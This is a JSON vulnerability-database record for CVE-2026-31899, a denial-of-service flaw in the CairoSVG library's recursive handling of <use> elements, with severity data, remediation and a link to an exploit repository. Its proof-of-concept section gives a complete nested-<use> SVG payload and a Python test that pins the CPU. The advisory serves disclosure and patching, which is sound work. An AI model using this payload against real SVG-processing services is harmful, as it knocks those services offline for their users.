{"id":"CVE-2026-31899","aliases":["GHSA-f38f-5xpm-9r7c","PYSEC-2026-2122"],"title":"CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification","summary":"CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"cairosvg","product":"cairosvg","ecosystem":"pip","affected":["cairosvg < 2.9.0"],"patched":["cairosvg 2.9.0"],"published":"2026-03-13","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-f38f-5xpm-9r7c","references":[{"url":"https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c"},{"url":"https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf"},{"url":"https://github.com/Kozea/CairoSVG"}],"tags":["osv","pip","exploit-available"],"epss":0.00515,"epssPercentile":0.4133,"ingestedAt":"2026-07-13T18:57:57.059Z","exploits":{"github":1,"githubRepos":["https://github.com/SnailSploit/CVE-2026-31899"],"checkedAt":"2026-09-25T08:20:54.805Z"},"exploitAvailable":true,"slug":"CVE-2026-31899","body":"## Overview\n\n## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh — CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n<?xml version=\"1.0\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <defs>\n    <g id=\"a\"><rect width=\"1\" height=\"1\"/></g>\n    <g id=\"b\"><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/></g>\n    <g id=\"c\"><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/></g>\n    <g id=\"d\"><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/></g>\n    <g id=\"e\"><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/></g>\n  </defs>\n  <use xlink:href=\"#e\"/>\n</svg>\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research\n\n## Affected packages\n\n- `cairosvg < 2.9.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `cairosvg 2.9.0`","depth":"midnight","depthScore":53,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":12,"ransomware":0},"changes":[{"seq":5076,"id":"CVE-2026-31899","ts":1788887247819,"field":"exploit_available","old":"false","new":"true"},{"seq":3959,"id":"CVE-2026-31899","ts":1788886363446,"field":"exploit_available","old":"true","new":"false"},{"seq":2780,"id":"CVE-2026-31899","ts":1788883030165,"field":"exploit_available","old":"false","new":"true"},{"seq":1809,"id":"CVE-2026-31899","ts":1788882433075,"field":"exploit_available","old":"true","new":"false"},{"seq":914,"id":"CVE-2026-31899","ts":1788881866823,"field":"exploit_available","old":"false","new":"true"}]}